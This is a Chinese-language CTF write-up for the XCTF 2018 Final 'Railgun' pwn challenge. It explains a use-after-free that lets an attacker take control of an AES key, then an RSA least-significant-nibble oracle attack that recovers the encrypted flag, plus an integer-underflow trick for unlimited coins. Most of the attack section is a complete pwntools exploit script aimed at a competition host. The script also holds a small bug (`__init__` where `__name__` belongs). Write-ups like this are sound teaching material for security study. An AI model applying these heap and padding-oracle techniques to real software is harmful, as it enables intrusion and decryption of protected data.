All posts
PWN中文

XCTF 2018 Final - Railgun Writeup

Kyr1os2 min readPWNCryptoAESRSA
Sections
1
Images
3
Code
1
Read time
2 min

上周去北京打 XCTF-Final,被各位大哥打到自闭。第一天长者复读了一道攻防 pwn 题,我做另一个带密码学的攻防 pwn 题,看了下流量,回到宾馆后终于调了出来。题目质量还不错,感谢 JHSN 和 Cyrus 的帮助,以下是 Wp。

Railgun

You can get the binary from here

程序主要的逻辑是一个挖 coin 然后使用 railgun 发射 coin 来打 boss 的游戏。(强行睿智

程序初始化会将 flag+padding 用随机生成的 RSA 公钥加密。每一个 Boss 都是一个随机的 AES key,用一个 coin 打败 Boss 并再使用一个 coin 可以得到用 RSA 私钥解密用户输入并用 AES_ECB 加密 RSA 结果的最后半字节。 在这个过程中用户已知的变量有 n, e, pow(flag+padding, e, n)。

UAF

程序在功能 6 accelerator attack 中可以消耗 200 个 coin 直接击败 Boss9,这里存在一个 UAF。Boss9 在被 free 掉之后依然可以和正常的 Boss 一样被打败然后进行 AES_ECB 加密。

Bypass AES_ecb

利用 accelerator attack 中的 UAF,再利用 comment 功能,指定注释长度为 16 就可以 malloc 到之前 free 掉的 Boss9,这样就可以控制一个 AES key。

RSA LSB Oracle Attack

之后进入密码学时间

已知 n, e;

flagCipher = pow(flag+padding, e, n)

击杀 Boss 可以获得 AES_ecb(pow(input, d, n) % 16, Boss)

因为 Boss9 已经被控制了,所以相当于返回的是 pow(input, d, n) % 16

使用 RSA LSB Oracle Attack

假设攻击者已知 x 个最后半字节,设未知部分为 a,已知部分是 b,则有 f=a∗16x+bf = a * 16^{x} + b

令 y=16−x mod n,Y=ye mod ny = 16^{-x}\ \text{mod}\ n, Y = y^{e}\ \text{mod}\ n

输入 flagCipher∗Y\text{flagCipher} * Y, 则会返回 fy=a+b∗16−x mod n mod 16fy = a + b * 16^{-x}\ \text{mod}\ n\ \text{mod}\ 16

因为 b∗16−x mod 16b * 16^{-x}\ \text{mod}\ 16 已知,所以可以求出 a mod 16a\ \text{mod}\ 16

Exploit

利用 UAF 控制 Boss9 的内容,然后用 RSA LSB Oracle Attack 逐半字节攻击出 flag

from pwn import *
import os
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

pad = lambda x: x+(chr(16-len(x)) * (16-len(x)))

def aesecb_decrypt(enStr, key):
    cipher = AES.new(key, AES.MODE_ECB)
    enStr = pad(enStr)
    return cipher.decrypt(enStr)

def ex_gcd(m, n):
    x, y, x1, y1 = 0, 1, 1, 0
    while m % n:
        x, x1 = x1 - m // n * x, x
        y, y1 = y1 - m // n * y, y
        m, n = n, m % n
    return n, x, y

def mod_inv(x, p):
    g, y, k = ex_gcd(x, p)
    if y < p:
        y += p
    return y

def pwn(p):
    p.recvuntil('[+]PoW:')
    sha256 = p.recvuntil('+', drop=True)
    s = p.recvuntil('\n', drop=True).decode('hex')
    for i in xrange(0x10000):
        if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
            p.sendline(p16(i).encode('hex'))
            break

    p.recvuntil('[-]description:')
    p.sendline('-')
    p.recvuntil('[-]name:')
    p.sendline('Kyr1os')

    e = 0x10001
    n1 = get_pub(p)
    inv16 = mod_inv(16, n1)
    flag_cipher = get_flag_cipher(p)

    mining(p)
    shoot(p, 1, '1'*256) # get 1 - 2 = 255 coins

    p.recvuntil('[-]')
    p.sendline('6') # accerate
    for i in range(10): # for remote
        comment(p, 18, '\x00'*18)
    x = 0
    Y = 1
    b = 0
    for round in range(200):
        drop = shoot(p, 9, hex(flag_cipher * Y)[2:].upper())
        half_byte = aesecb_decrypt(drop.decode('hex'), '\x00'*16)[0]
        half_byte = (int(half_byte, 16)+16-((b * pow(inv16, x, n1)) % n1 % 16)) % 16
        b += (half_byte * (16 ** x))
        x += 1
        y = pow(inv16, x, n1)
        Y = pow(y, e, n1)
    print hex(b)[2:].decode('hex') # flag

def mining(p):
    p.recvuntil('[-]')
    p.sendline('2')
    p.recvuntil('mining:')
    sha256 = p.recvuntil('+', drop=True)
    s = p.recvuntil('\n', drop=True).decode('hex')
    for i in xrange(0x10000):
        if hashlib.sha256(s + p16(i)).hexdigest() == sha256:
            p.sendline(p16(i).encode('hex'))
            break

def get_pub(p):
    p.recvuntil('[-]')
    p.sendline('3')
    p.recvuntil('pub:')
    pub = p.recv(256)
    return int(pub, 16)

def get_flag_cipher(p):
    p.recvuntil('[-]')
    p.sendline('4')
    p.recvuntil('attack\n[+]')
    flagc = p.recv(256)
    return int(flagc, 16)

def shoot(p, boss_id, payload):
    p.recvuntil('[-]')
    p.sendline('5')
    p.recvuntil('boss:')
    p.sendline(str(boss_id))
    p.recvuntil('send:')
    p.sendline(payload)
    p.recvuntil('coins(1/0):')
    p.sendline('1')
    p.recvuntil('pickup:')
    cipher = p.recv(32)
    return cipher

def comment(p, len, payload):
    p.recvuntil('[-]')
    p.sendline('7')
    p.recvuntil('lenth:')
    p.sendline(str(len))
    p.recvuntil('comment:')
    p.send(payload)

if __init__ == "__main__":
    p = remote('192.168.17.12', 20002)
    pwn(p)

Trick

  • 程序中存在一个检查不严格导致的整数下溢,当你拥有一个 coin 时对一个 Boss 连续使用两个 coins 可以使你的 coin 数下溢变成 255,并且只要你两个两个的用,硬币就永远都用不完。这个 trick 可以极大的加速你的攻击脚本。(毕竟是个攻防题
  • 在远端利用 UAF 时,由于环境因素,在执行 comment 中的 malloc 时,即使大小合适,也不一定能每次都拿到 Boss9 的那个块(虽然在本地测试的时候几乎每次都能通)。所以建议多 comment 几次来提高成功率。(连续申请十次的话基本每次都能通的)

Comments